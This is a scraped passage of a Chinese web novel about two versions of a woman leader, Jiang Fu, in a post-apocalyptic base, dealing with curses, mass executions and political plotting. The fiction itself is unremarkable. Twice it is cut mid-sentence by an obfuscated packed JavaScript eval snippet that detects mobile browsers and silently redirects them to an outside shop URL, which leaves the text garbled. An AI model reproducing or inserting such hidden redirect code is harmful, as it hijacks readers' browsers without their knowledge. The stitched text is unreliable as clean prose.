恶灵进入江覆体内后,找到那根恶骨,一口咬了上去。 一恶灵一恶骨,直接把江覆的身体当成战斗场,角逐了起来。 “!”江覆重重闭上眼睛,浑身紧绷,拳头松开又握紧,握紧又松开,指甲在地面划出一道道刮痕,指尖被磨烂又在怨气下愈合。 片刻之后,恶骨终于缓缓平复下来,江覆浑身一松,满身的怨气也平息下来,不再外泄。 恶灵再度飘出来,嘴里还在嚼嚼嚼:“那个,对不起啊(嚼嚼嚼),我也没有别的办法(嚼嚼嚼),只能一口咬上去了(嚼嚼嚼),然后它就安静了(嚼嚼嚼嚼嚼)。” 江覆睁开眼睛,看着这团漆黑,过了一会儿,她才无力地说:“多谢。” 她忽然又闷哼了一声,恶灵忙问:“怎么了?又来了?” 江覆摇头:“不是。”她看向楼道墙上的窗户,“是她来了!” 谁来了? 恶灵愣了下,然后炸毛:“这里的你来了?她属闪电的吗怎么总这么快?快跑快跑,不然你现在撞上她……” 分分钟要命啊! 江覆扶着门站起来,走向楼梯,结果脚一软,咕噜咕噜滚了下去。 刚刚回到黑猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581680|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体的恶灵:! 它赶紧跑过去,但因为刚进入黑猫身体,一时还不协调,这只脚绊那只脚,也咕噜咕噜滚了下去,砸在江覆脸上。 江覆:“……” 她把明显重了一些的猫拨开,重新爬起来,靠着墙缓了一会儿,她看着楼下,来不及下去了。 她转身往楼上去,顺手把黑猫给拽上了。 …… 住院楼下,「江覆」携着江时月赶到,她抬头看着住院楼,脸色微沉。 她前脚在办公室里,收到那短信,疑惑为什么对方要她放过张山,还想问对方,结果对方根本不搭理她。 然后,没过几分钟,她就收到张通出事,并且出得相当诡异的消息。 实在没法不把这两件事联系起来。 于是,她第一时间赶了过来。 因为这第一医院离得不远,她即便带着一个江时月,都比上次赶到研究所花的时间少。 江时月脚一落地,就闭上眼睛感应着什么,然后道:“小覆,东边楼梯间!” 话音未落,身边人已经不见了。 江时月:“……你小心点!” 说着,她也赶紧跟了上去,一边打电话呼叫支援。 「江覆」进入楼梯间,迅速窜上了四楼,一到这里她就感觉到不对劲。 温度变得很低,空中弥漫着一股即将消散的,奇异的能量波动。 她的精神力触碰到这些东西,就像沾上了粘稠的灰尘一样。 这种感觉,在冰棺密室里她隐约察觉到过,只是当时那感觉太淡太淡了,她还以为是密闭空间里空气流通不畅的缘故。 那人果然在这里! 她速度放慢,在四楼到五楼的转角看到了新鲜痕迹,仿佛有人从这里摔下来。 再上去,五楼防火门下有抓痕。 她眉头一跳,继续往楼上而去。 一直追到楼顶,即将打开通向天台的门时,口袋里的手机突然震动。 她拿出来一看,还是那个号码,还是一条短信。 【别再过来,除非你想江时月有事!】 「江覆」心头猛地一跳,怒火蹭地窜了上来。 她想释放精神力去探知江时月的状况,然而这时才发现,她前后左右都被之前那种能量包围住了。 粘稠的、阴冷的、浑浊的,雾气一般的屏障不知从哪里冒出来,将她前后左右乃至于头顶脚下都围了起来,精神力一时无法穿透这层屏障。 这到底是什么东西? 手机又震动了一下。 【江时月的异能能捕捉气息的轻微波动,能辨别情绪虚实言语真伪。当她与一粒微尘发生精神联结的时候,甚至能追溯其一天之前的轨迹。但她的弱点也在于此,如果在这粒尘埃里灌注过于庞大的信息和能量,会直接引爆她的异能,乃至于击碎她的晶核。】 「江覆」心脏狂跳,江时月的异能表面上就是个追踪器、测谎仪,没有几个人知道她真正的绝招,而这人不仅知道得一清二楚,连弱点都了然于胸。 如果按照这个办法去对付江时月,她真的会很危险! 她猛地看着周围这诡异的浑浊能量:“你敢!” 周围没有回应。 她又喝道:“你敢动我身边的人,我定与你不死不休!” 还是没有回应。 “你到底是什么人?有什么目的!” 周围这诡异能量开始消散。 「江覆」等了片刻,什么都没有发生,她这才意识到,对方可能已经离开了。 她看着面前的门,想要打开,但想到那警告,到底是放弃了,气愤地一拳砸在门上,直接门给砸了一个凹陷:“你真是好样的!” 姑奶奶跟你杠上了,别落在我手里! 她转身飞快往下窜,在五楼楼梯间看到了正蹲着研究地上痕迹的江时月。 “你别碰这些!”她拉开江时月,又上上下下检查她,“你没事吧!” “我没事啊,你怎么了?那个人……” 「江覆」见她是真没事,才放心下来,哼了一声:“跑了!以防万一,你最近不要用异能了。” 江时月看「江覆」奇差的脸色,依稀明白了什么,转而道,“你注意到地上的痕迹了吗?那人有可能受伤了。她从普外住院区出来,在这里倒下,挣扎了一段时间,然后从楼梯上摔了下去。可能是察觉到你上楼了,所以她转身朝楼上而去。” 以对方当下走个楼梯都能摔的状态,几乎不可能从「江覆」手下逃脱。 但看着「江覆」黑沉的脸色,江时月选择闭嘴。 「江覆」冷眼看着那道轨迹,真是狼狈啊! 如果在几分钟前,她可能还要小小担心一下对方。 毕竟对方是个会趴在母亲冰棺上哇哇哭的家伙,勉强给她贴个自己人的标签。 但现在,她只想冷笑:“怎么没把她摔死!” 7. 天生诅咒圣体 没被摔死的江覆一直呆在天台上,直到「江覆」离开,把张通也带走,调查的人也都撤退之后,才从天台下来。 当她走出住院楼的时候,已经用怨气把自己变了个模样,连衣服的版型颜色都改了。 她很顺利地离开医院,之前那个伪装的身份已经不能用了,她便找了个住宅区里的空屋子暂时落脚。 空荡荡的木板床上,她盘膝坐着,闭着眼睛感受体内恶骨和脏器的变化,怨气时不时从她皮肤里渗透出来,让她整个人看起来黑气腾腾的。 黑猫呆在她身边,一会儿趴一会儿卧,一会儿又站起来围着她打转,一刻不能安歇。 这一坐就从天亮做到了月上中天,江覆才终于睁开眼睛。 黑猫忙问:“怎么样怎么样?” 江覆活动了一下肢体,然后起身下地,把双腿解放出来:“恶骨被咬掉了一块,变得安分了不少,不过也正是因为少了这一块,其中的恶意如同泄露的能量一样不断涌出……” “那会怎么样?” 江覆看着黑猫紧张的样子,也不卖关子:“这些能量大多被我的身体吸收了,我的五脏六腑都恢复得很好,身体也没那么不结实了,甚至,我的味觉嗅觉都回来了,包括怨气的恢复速度都加快了。我现在很好。” 黑猫激动:“那太好了,早知道,我就早点咬了。” 江覆淡淡一笑,饮鸩止渴罢了。 黑猫是真的放心下来,开起玩笑来:“你刚才盘腿的样子,真的特别像邪修在打坐练功。” “异能者冥想的时候,基本都是这个姿势,这是无数人总结出来的最佳姿势,身正、息顺,心神内守……这都是有讲究的。” 黑猫不服气:“可你还浑身冒黑气呢。” “是吗,那很酷了。” 江覆来到阳台,整个人沐浴在月光之下,今晚的月亮特别圆,她看着那轮月,问:“你就不怕,我把恶意全部用掉了,到时候你就没得吃了。” 黑猫跳上栏杆:“那么多恶意呢,你怎么用得完?” “万一呢,你其实,随时都可以吃掉我体内这根恶骨吧,为什么不动手?” 黑猫看了看她,有些别扭地转过头去:“等你死后,那恶骨自然就是我的,但没了恶骨,你马上就会完蛋,你心里藏着那么深的仇恨,我要是让你死不瞑目,你不得生生世世缠着我,或者来个诅咒什么的?我可吃不消。” “恶灵也会怕诅咒吗?” “那要看谁的诅咒,你的诅咒谁不怕啊。” 江覆眉头一扬:“那看来我是挺厉害的。不过我大约真是天生诅咒圣体,经过这次,我已经大致掌握了诅咒的技巧,对怨气的掌控也变强了,可以进行下一步了。” 想到她接下来要诅咒什么,她就不由得期待起来。 “真的吗?太好了!”黑猫尾巴欢快地甩了甩,又有些苦恼,“在医院里,你那么威胁这里的你,她怕是要气坏了,恐怕不会愿意配合你。你当时完全可以好好说,和她打好关系啊。” 江覆头看着那轮皎洁的明月,淡淡道:“因为那是最快最容易的办法。” 这个时期的「江覆」把守护基地、保护身边人视作自己最重要的责任,加上她轻松说出了江时月异能的特征和弱点,加强了自己的可信度,「江覆」一定会深深忌惮,立刻停手。 换其他话术,哪怕是直接威胁「江覆」本人,效果都不会这么好。 她太了解自己了。 她伸手接住月光,月光却从她指间洒落,她轻轻捻着指尖,感受着变得清晰许多的触感:“我也不需要她配合,我有的是办法,叫她听我的。” …… 同一片夜空下,研究所附属医疗科的庭院里,「江覆」也在仰望圆月。 说是“医疗科”,但这里和一个小型医院也差不多了,医疗器械都是当下顶尖的,这里的医生也都很牛,并且大多是觉醒了异能的。 白天,他们在普通医院里是可靠高医,晚上,他们在这里就是剑走偏锋的邪修。 张通就被转移到这里来治疗。 江时月从后面快步走来。 「江覆」没有回头:“他交代什么了吗?” 江时月道:“没有,张通还是无法交流的状态,不过,我们有新发现。” 「江覆」转过身看着她。 江时月递上一份新鲜出炉的报告材料:“我把张表案重新理了下,并请昨天办理这个案子的警员协助,对方提供了一个线索。” 「江覆」翻了翻这简单的材料,道:“人呢?” 于是,韩晓飞就第一次见到了这位基地的新领导,比电视里看起来还要年轻,但也更加威严。 她恭恭敬敬地说:“当时在早点铺看到那个女人,我就觉得有些不对,今天就去调查了一下,私自动用公职权能,是我的错。” 「江覆」已经看到了她调查的结果,一个叫做李晴的30岁女人,三天前跟一支车队进入基地的。 照片都有,她拿起来仔细看了看,一个穿着灰色防风衣的女人,带着口罩帽子,肩膀上站着一只黑色小奶猫。 基地门口登记照片和酒店入住照片,倒都是免冠照,中长发,面容普通,是个丢进人海就找不出来的长相。 然而那双眼睛却很特别,看似平静,却像藏在鞘里,收敛锋芒的利刃,当它出鞘之时,会刺伤所有注视它的人。 「江覆」又拿起另几张图,一张是通过慈育院朱老师等人回忆而画出来的画像,一张是医院走廊监控拍到的身影,也就是那个所谓的“调查员邓方”留下的影像。 这个邓方和李晴长得完全不一样,唯独眼神和身形一致。 她放下照片,问韩晓飞:“你当时只看了对方一眼,为什么觉得对方不对劲?” 韩晓飞迟疑了片刻,说:“是直觉,我觉得,对方身上有一种很特别的气息。” 「江覆」来了兴趣:“什么气息?” 韩晓飞抬头看着她:“死亡的气息,如果不是她能动能走,那一刻,我几乎以为,那是一具站在那里的尸体。” 「江覆」挑眉,这说得就很悬了。 但她想到住院楼里,阻拦住自己的阴暗冰冷气息,嗯,确实是满满的死气,比丧尸身上的更甚。 很好,这就连起来了,韩晓飞看到的人,自己间接碰到的人,都是同一个人,什么李晴,什么邓方,都不过是对方的假身份,这是一个乔装水平很高的家伙。 两人说话间,江时月又进来,手里还拿着手机:“我让人把三天前小巴车里的司机和乘客找到了,他们说,那个李晴是行驶途中上车的。当时已经在特云州内,她站在路中央拦车,司机不得不停车。本来也是不敢让陌生人上车的,但她一出手就是数颗晶核,司机就心动了。除此之外,谁都不知道她的来历。” 她停也没停,继续说:“酒店的人我也问了,‘李晴’没有任何特别的地方,唯一一点就是,酒店有提供早餐,但她却要出去吃。 “而早点铺的老板说,昨天早上,店里本来还有空位,但‘李晴’却直接在门口坐下,因为对方特意给猫买了茶叶蛋,老板多注意了几分,发现她似乎在等待什么。 “在张通父子出现的时候,所有人都很惊讶,唯独‘李晴’,一点都不意外,似乎早就知道会发生这种事一样。” 「江覆」听懂了,这人是特意去早点铺,特意等着张通的,联系今天她故意针对张通父子,这一点毋庸置疑了。 但一个三天前才来覆安基地的人,是怎么知道张家的事?又怎么知道,张通会在昨天早上出现在那个地点的? 就如同,她为什么一来就那么熟悉研究所,知道母亲遗体在哪里一样,她的信息渠道到底是什么? 「江覆」摩挲着手镯,这是她思考时的下意识动作,江时月就示意韩晓飞跟她出来。 一出来,韩晓飞肉眼可见地松了口气,基地长的气场太强了,在她面前她都不敢大声喘气。 江时月倒是挺欣赏这姑娘的,直觉敏锐,胆大心细,行动力还很强。 现在以及未来一段时间,「江覆」身边都会很缺忠诚能干的人,情报部在收集情报的同时,也担负着挖掘优秀人才的使命,这倒是一个可以培养的。 于是她很温和地夸奖了对方一番,韩晓飞被夸得都有些恍惚了,最后是脚底打飘走的。 江时月刚要回办公室去,却见「江覆」已经出来了。 “去哪里?” 「江覆」:“这个人进入基地,第一个目标是母亲,第二个目标是张通,母亲不能给我答案了,只能从张通那里入手。” 江时月跟上他,但张通依然无法正常交流。 是的,张通依然在那里吱哇乱叫,哪怕把他蒙住头,他依然会不停地抖露自己的阴暗险恶心思。 对此,医生的说法是:“他似乎在通过这种自爆罪恶的方式降低身上的痛苦,一旦堵住他的嘴,他很快就会陷入癫狂,高强度的镇定剂都无法让他安静下来,即便物理打晕他,他也会因为痛苦而抽搐,然后很快醒过来。” 「江覆」看着被绑在床上,蒙着头,嘴里叽里咕噜说个不停,哪怕嗓子都哑了也停不下来的人。 “那他不是时时刻刻都在遭受折磨?” “是的。”医生说,“奇怪的是,一般人承受这种强度的痛苦,恐怕早就疯了,但他没有,您别看他好像很疯癫,但他其实很清醒,仿佛有一股力量 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理智的人能说这种话? 张通会认识「江覆」很正常,「江覆」作为这个基地的内定继承人,从来也没有藏头露尾过,她常常出席各种场合,上过各种新闻,很多地方还会有她的照片、画像。 但一个认识「江覆」的人,不能一上来就问你怎么还没死吧? 她有哪一点让人觉得,她应该死了? 还是说,张通已经恨她恨到这个地步了? 下一刻,张通猛然暴起,小小的身躯里也不知道哪里来这么强的爆发力,一下子扯坏了束缚带。 众人大惊,就要冲上来挡在「江覆」身前,「江覆」抬手制止,她倒要看这个张通要怎么杀她。 然而张通挣脱束缚之后,没有来攻击「江覆」,而是啪一下跪在地上,砰砰砰地磕头:“饶了我吧!我错了!我不该、不该……我错了!原谅我吧!放过我吧!” 「江覆」:“……” 对方的恐惧是如此真切浓烈,倒让她有些摸不着头脑了。 恨她可以理解,很多老的少的强的弱的人都恨她,尤其是很多男人,简直对她恨之入骨。 但这样惧怕她,就很奇怪了。 仿佛「江覆」曾给他造成了无比可怕的阴影。 她心里冒出一个猜测,那个能乔装易容的家伙,不会是扮成自己的样子来折磨张通的吧? 「江覆」蹲下去,看着张通这张辣眼睛的脸,和他对视:“你,是谁?” “张通,我是张通。” “我又是谁?” 张通哆嗦道:“你是江、江覆!” 认知正常,也没有认错人。 「江覆」又问:“你想让我原谅你?” 张通哀求地看着她:“是,原谅我吧!放过我吧!” 「江覆」:“那你倒是说说,我该原谅你什么?” 张通看着眼前这个人,脑海里一时闪过病房里她居高临下像看狗一样看着自己的样子,一时又闪过大约很多年后,她被围攻时,不敢置信投来的视线。 一转眼,又是她口吐鲜血,那血像是怎么也吐不完,她断断续续地说:“要我的晶核?可以,我只有一个条件,基地,和平过渡,再不杀一人……否则,我以十阶异能者之名,诅咒你们……” 再一转,又是无数个夜晚,他做噩梦梦到她来索命,吓得夜不能寐,坐立不安,日日煎熬。 他的记忆也在十二岁的自己和未来的自己,这几个时空凌乱跳跃。 他想说,我不该背叛你,我不该在你死后又屠杀了那么多人,但不杀不行啊,不杀他们要造反!况且杀得最多的不是我,晶核的大头也不是我拿的,你去找别人啊! 他还想说,我不该让你身首异处,但不那样也不行啊,你死前那个诅咒,谁不怕?怕到就算把你挫骨扬灰也不能放心。于是,做成铜像大家都是赞同的,亲自动手的也不是我啊! 但他一个字也说不出来,诅咒的力量扼住了他的喉咙,让他说不出一个相关的词。 他只能不断说:“我错了!我错了!” 又错乱一般又哭又笑地说:“我就知道,你会来报仇的!所有人都在怕,所有人都在等,即便……也拦不住……这一天终于来了!你杀了我吧!你杀了我吧!” 「江覆」拧起眉,面色越发凝重,张通这神态、这眼神、这语气,可不像是一个孩子。 尤其,这话语中透露出来的信息,让人不得不深思。 她站起身,看江时月:“事情好像比想象得更复杂。” 8. 两个江覆的第一次对话 夜色能够掩盖很多人的行动。 就在「江覆」调查别人的时候,也有很多人在查「江覆」这些日子的动向。 基地某处,一个隐蔽的地下室里,一群人正在谋划着什么。 “这就是最新的处决名单,死刑犯男女比例近乎九比一!这江覆对男人是多大仇多大恨啊!” “江珺荣就已经够狠了,没想到她女儿有过之而无不及!” “我听说,江覆有意改革行政岗,提高女性比例,还要提高基地女性的社会保障……明明是我们男人更强大,更有力量,做出的贡献更大!女人?呵,生理期都没法出基地的劣势种!” “何止啊,这两天抓了多少家暴的,家庭纠纷而已,结果一个个都要判刑,而且有可能刑期极重。” “新官上任三把火,光往男的身上烧,这算什么,服从性测试?诸位,再不做点什么我们真的要无路可退了!” 一群男人围着桌子嘀嘀咕咕商议一通,发现竟然无从下手。 武力叛变?想都不要想!人家本身就很强,身边还有一群死忠,更是牢牢掌控着二十万基地军,叛变苗子刚起来,就得被人家剿灭得粉碎。 搞权谋?人家有那么强的实力,需要和你玩这个? 吹枕边风? 呵呵,这个江覆换男人跟换衣服一样随便,听说最近还算宠爱的那个周嘉,说把人下狱就下狱了,薄情如斯,天底下竟然会有这样的女人! 煽动民意,要求民主选举? 别搞笑了,江珺荣掌控特云十五年,是当之无愧的特云之主,人人敬服,而江覆是她多年前就明明白白为其造势铺路的继承人。江覆的正统性和合法性,根本无法质疑,普通民众对于江覆继任,完全接受良好。 而且不知道是不是防止有人和女儿争,江珺荣身边甚至都没有一个特别突出的二把手、心腹、子侄后辈之类的。 她对部下基本都是一视同仁的,不会给某个人投喂特别多的资源,即便有特别看重的,也都是早早把人安排到江覆手底下,摆明着是给她培养班底。 这个女人对女儿的偏爱,完全是明明白白的。 一通讨论下来,众人只得出一个结论:江覆无懈可击,她的地位,根本无可撼动! 想想就令人绝望。 一片沉默中,一个俊秀斯文的男子道:“江覆的位置,看似稳当,其实不然。江珺荣一番爱女之心确实感人,但这也早早给江覆埋了雷,有多少人自觉被她挡了上进的路?若非她手底下人心浮动,这份处决名单,我们怎么拿到手的? “其次,随着江珺荣离世,特云各基地蠢蠢欲动,都想独立出去,自己当家做主。江覆虽有州长之名,但其他基地城市未必服气她这个新州长,前天那个全特云州的会议,不就有好几个基地的负责人没有到场吗?” 另一人接话:“确实如此,我得到的消息是,江覆接下来要将这批死刑犯处决了,整顿好覆安基地之后,开始全州巡查,只有当她将其他基地城市的领导层都弹压住,才算是坐稳了位置。” 第三人道:“那也得她弹压得住,江珺荣能压住所有人,最重要的原因是她是九阶,她江覆一个区区七阶……” 好吧,七阶也很强了,这世上七阶异能者也没几个,但震慑力比之其母,肯定弱不止一筹。 斯文男子道:“她不是想通过杀人来立威吗?那我们偏不让她如意,你们看,这批死刑犯里,有至少三分之一是不需要死的,我查过法院判决书,其中最高也是死缓,江覆却要把他们都弄死,这是想要将个人意志凌驾于法律之上啊!” “从这上面入手?可只要将他们的罪行公布出来,无知的民众只会拍手叫好吧。” “那如果让这些罪犯的亲朋好友来喊冤呢?死了儿子的母亲现身说法,老无所依,死了父亲的子女出来哭诉,未来无依无靠,死了丈夫的女人出来抱怨,只是想让对方坐牢反省,没想到会判这么重,以至于家庭失去了主心骨…… “到时候人们就会发现,江覆杀这些人,不是为民除害,而只是为了彰显她至高无上的权威,这根本就是枉杀、冤杀…… “再加上,她加重刑法的倾向很明显,我们替她宣传宣传,轻松就能造成恐慌。” 到时候再把江覆与其母进行一番比较。 人民有多敬服怀念江珺荣,就会对江覆多失望。 一旦让人们相信,江覆私心重于公心,手段能力不足只能用杀戮来凑,自然会一步步发现她更多的缺陷,越发对其不满。 不满的多了,质疑的多了,江覆的很多政令与决策,还能那么容易地推行吗? 几人互相看看,都笑了起来。 “我去物色适合喊冤的人。” “旁敲侧击,生活没有困难,也得制造出点困难给他们,得让他们发自内心地抱怨。” “先等江覆把人杀了,再让这些人闹,做实她的嗜杀之名。” 这些人没有发现,在他们身后,门悄无声息地开了一道缝,一个人站在黑暗中,静静地看着他们。 黑猫站在江覆的肩膀上怒骂:“这些人真不要脸!” 江覆并未动怒,没什么好生气的,这些都是她经历过的,这些人的谋算后来也确实成功了。 如他们所说,这件事后,很多人埋怨江覆、不满江覆、质疑江覆。 她的“暴君”之名下,是对她能力的质疑和嘲笑。 不过这一次不会了,她会让“暴君”之名名副其实,比起质疑,她还是更喜欢完完全全的畏惧。 不过,除此之外,她更想看看,这些看不起女人,自命不凡,却只会这些蝇营狗苟手段的男人,失去他们引以为傲的生理优势时,会有什么反应。 她抬起手,指着那讨论得起劲的男人们,释放怨气,口中低低念道:“我诅咒……” …… 「江覆」一直在思索张通说的那些话是什么意思,不知道为什么,那“报仇”之语一直在她心头萦绕,让她静不下心来。 这种心情,让她对那个神秘人的不爽都变淡了。 她一晚上没睡,时不时看看手机上那个神秘号码,她完全无法追踪和调查这个号码,主动打过去就是空号。 真是见鬼,这是什么黑科技? 直到天快亮的时候,这个号码又给她发消息了,这次是一个视频。 她蹭地坐起来,打开视频,然后,她就看到了一群人密谋现场。 她:“……” 弄清楚他们要怎么算计自己,她第一反应是无语。 就凭这个就想动摇她的地位?怕是还没睡醒吧。 然而,紧接着一则短信进来。 【如张山一般,存在亲缘关系的苦主的,或苦主对犯人表现过不忍的,系家庭矛盾、情感纠纷、团队恩怨的犯人,全部不要杀。】 「江覆」更无语了,她给回过去:【因为这几个小人物改变计划?你怕是高估了他们,低估了我吧?】 这次倒是发送成功了。 对方回得也很快。 【你觉得,他们的谋划会成功吗?】 「江覆」下意识想说当然不会,但她仔细想了想,如果他们真的私底下去怂恿那些苦主,甚至没有麻烦也要制造出麻烦来加剧矛盾,还真的有可能。 对方似乎也知道她在想什么,又发来一条【你觉得,谋划成功的原因是什么?】 是什么?当然是视频里这些人伎俩太阴险可恶了。 但仅是如此吗? 如果最终真的有人冒出来闹,无论是不是被怂恿的,那必然都是内心真的埋怨她。 她沉默片刻,一个字一个字打字回复。 【这些死刑犯里,有两百余人是虐待妻子、伴侣至严重残疾,那些女人会得到岗位安置;有三百余人是虐待、遗弃、买卖儿女,那些孩子会被送入慈育院接受良好教育;有三百余人是虐待遗弃父母,这些老人会得到基地赡养,晚年无忧。】 【我给他们把后路都安排好了,他们从此脱离恶魔,过上轻松安稳的生活,他们没有怨我的理由。】 对方很快回复:【真的没有吗?你给他们安置得越好,他们当下或许会感激,但别人嘴一歪,他们就会觉得,这些是你对杀死他们至亲的补偿:他们的至亲本来罪不至死的,是你要立威而强行处决,你让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581682|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去依靠后,又用这些小恩小惠表现你的宽厚——只要这样想,他们不仅会怨你,更会恨上你。】 「江覆」皱起了眉,别说,这还真的有可能,人性就是如此复杂、善变又自私。 对方【不仅如此,只要你出现这样的风评,你所有的行为都会被这样揣测。】 【你杀死贪官,为民众拿回赃款,会有人说那些人只是贪点财,罪不至死。】 【你杀死恶霸,为民除害,会有人说不如接受那些恶霸家人用高昂代价赎人,用那些钱财物资造福民众才是更好的做法。】 【你杀的人里有强壮男人,会有人说不如把人派去做苦力,还能给大家减轻负担。】 【你杀的人里有适龄女人,会有人说不如把人继续养着,生一个孩子赎一份罪。】 【你杀的人里有异能者,会有人说异能者珍贵,不如把他派去做最危险的任务。】 这一句句话传过来,「江覆」越看血压越高,她蹭地站了起来,直接按下了拨号键。 电话响了两声就通了。 「江覆」恼怒道:“照你这么说,我是一个人都不能杀了!我堂堂一地首领,居然要被民意裹挟这也不能做那也不能做?况且,这些民意根本就是扭曲错误的!我为什么要被牵着鼻子走!” 那头一片沉默,过了一会儿,就在「江覆」以为对方不会说话时,那边轻轻笑了一声,声音有些沙哑,声线很陌生,说话速度很慢,只能听出是一个女性声音。 对方说:“所以,我没有让你谁都别杀,相反,我提倡你多杀一些该杀的人,把所有人都杀怕了,杀得丝毫不敢置喙你。” “那你……” “我只是让你不要杀那些苦主会反水的人,不要让自己背上插手人家家务事,致使人家破人亡的名声。就如同张通,这种人不会感恩,只会在时过境迁之后恨上你,那不如把张表还给他,让他们继续父子相亲。” 「江覆」哑然,那是父子相亲吗?那是父子相残吧。 但不得不承认,这主意不错。 尤其是那些可能会反水的苦主,既然苦主就是自己,你自己要为伤害自己的人惋惜,那还有什么好说的,继续苦水里泡着吧…… 理智让「江覆」急刹车:“可是,张表理应为陈印玉偿命,你这是践踏司法!” 对方轻笑一声:“江州长,这是末世,乱世用重典,非常时期行非常事,这不是你的主张?” 她突然咳嗽起来,像是被什么东西呛到一样,缓了一会儿才继续说,“你若是这么尊重司法,又怎么会执意将那么多无期、死缓改死立执?” 「江覆」说不出话来,感觉这人字字句句都戳在自己的痒处,她该死的要被说服了! “至于说杀人偿命,这世上有的是比死更难熬的刑罚。张表虐待陈印玉那么多年,结果就这么简简单单死去,本身就便宜他了不是吗?” 「江覆」勉强坚持道:“那其他人呢?如果照你说的一刀切,肯定会误伤,又不是所有人都会反水。” “简单,设个局就行了,看谁跳出来,谁跳就把谁的至亲还给他们。到时候你就是最有求必应心地善良的基地长。谁再想拿不近人情指责你,都站不住脚。” 「江覆」挂了电话,还在想那个“有求必应心地善良”。 她嘴角抽了抽,怕是到时候,她会成为民众心中最反复无常、捉摸不透的基地长吧? 啊,也不是不行。 以后谁还想这么闹,都得掂量掂量她会不会搞出类似的骚操作。 但即便如此,她依然迟疑,毕竟对方是敌是友尚未明晰。 而她最终被说服,还是因为对方最后那句话。 对方说:“这世上,谁都应该有自己精准的报应,你实在没必要替不值得的人,担因果。” 这话简直说到了自己的心坎上,想到到时候那些闹事的人会有的反应,她都想提前笑一笑了。 这种被支持着干坏事的感觉……实在让人很难拒绝。 不行,她要把劳改场准备好,到时候,被苦主保下的死刑犯,就和那些苦主一起,在劳改场里一家团聚,相亲相爱去吧! 9. 公开处决,钓鱼执法 江覆从耳边拿下手机,看着机身上被她捏出来的条条裂痕,尤其屏幕,已经四分五裂了,甚至冒出一缕缕焦烟。 这手机能坚持到通话结束,也是不容易。 她把电话卡取出来,把手机捏碎,丢进路边的垃圾桶里,然后扶着一棵树,咳得撕心裂肺,仿佛咽喉里有什么东西碎了。 然而她咳了半天,什么都没咳出来——怨气再一次把她碎裂的咽喉修复好了。 不远处骑着环卫车的环卫工人警惕地看着她,一副她吐出来什么东西,就要立刻上来扫的样子。 江覆直起身,拢了拢衣襟,平静离开。 黑猫从她的帽子里冒出头来:“你就和你自己远程通个话,都能把喉咙给说烂了,这要面对面对视一眼,不得把眼睛给看瞎了啊。” 江覆没有回应他,它又好奇:“她就那么采取了你的建议?也不怕你藏着什么坏?” 江覆这才开口,声音依然沙哑滞涩:“这件事对她有好处,她没有拒绝的理由。” “话虽如此,但这也证明,她对你有起码的信任吧。但照理说,她应该很警惕你很讨厌你才对,难道这就是心灵感应吗?” 江覆没有理会它,继续自己在黑暗中的穿行,循着自己从前的记忆,找到那些跳得最高来反对自己、给自己添堵的人的家中、据点,继续诅咒。 黑猫:“……”嗓子都坏了,还兢兢业业地诅咒,真是好勤劳啊。 “你不如直接诅咒全基地的男人,省的一个个找过去。” 江覆诅咒完一个半夜不睡觉,往「江覆」的照片上掷飞刀的某男,继续赶场,淡淡说:“所有人都诅咒,就等于所有人都没有诅咒,有了对比,到时候这些人才会更痛苦不甘。” 黑猫:“真的不是你的能力还不足以诅咒太多人的缘故吗?” 江覆:“……闭嘴吧你!” …… 众人关注的死刑犯集体处决项目,终于有结果了。 这天上午,基地官网、各城区街道宣传办,都贴出了公告,上面有本次处决名单,足足四千余人,每人于什么时候犯了什么事,都有简单罗列。 如此公告三日之后,若无人提出异议,将于中心城区的人民广场上,进行集体公开处决,到时候大家都可以前去观刑。 这公告一出来,一股无形的血腥味仿佛随之弥漫出来,公告栏前有人唏嘘,有人叫好。 “这个xxx是我们村的,他把丧尸病毒带进来想投毒,虽然没成功,但多吓人啊,死得好,该死!” “这个xxx仗着有点关系,欺男霸女,横行乡里,终于要死了,太好了!” “这个xxx简直不是人,吃喝嫖赌五毒俱全,把一家子祸害得没活路,这种人死了干净!” 一片快意议论中,有人悄悄退出来,把消息传递出去。 …… “江覆真的要杀人了,民众反响普遍不错。” “哼,这是大家还没有反应过来,去,引导舆论,说江覆一口气要杀这么多人,肯定是性格暴虐,心理变态。” …… “死刑犯里男女比例严重失衡,拿这个做文章,就说江覆包庇女犯人!” …… “名单里有不少未成年人,江覆这也太苛刻了,咱们给她宣扬宣扬。” …… “名单里不乏大户、强者的子女亲人啊,这些人真能坐得住?咱们上门去慰问慰问。” …… “x哥,处决名单和我们弄到的那份差不多,还加了近千人!” “按计划,去给那些犯人的苦主家属们找点麻烦。” …… 有了神秘人的提醒,「江覆」在发出公告后,就让人盯紧了舆论。 发现果然很多人都在行动,千方百计地往她下手太狠、嗜杀暴戾的方向引。 「江覆」对此十分不屑,也就这点能耐了。 然后,她发现那些可能反水的苦主,身边多了一些说三道四的人,他们开始因为家人是死刑犯而遭到身边人的挖苦,一些不着四六的人冒出来为他们的未来担心,还有人怂恿他们马上去相关部门撤诉、为家人求情。 “好歹那是你们的儿女/配偶/子女/兄弟啊!”巴拉巴拉,打感情牌、恐吓、冷嘲热讽,话术大多如此。 然后,还真的有人动摇。 某村子里。 “老婆子,阿威那孩子就是不想给我们养老,也不至于吃枪子儿啊!”一个老头长吁短叹。 老妇人坐在门口给衣服打补丁:“大冬天的,他把门窗都密闭,想叫我们烧炭中毒,你忘了?” 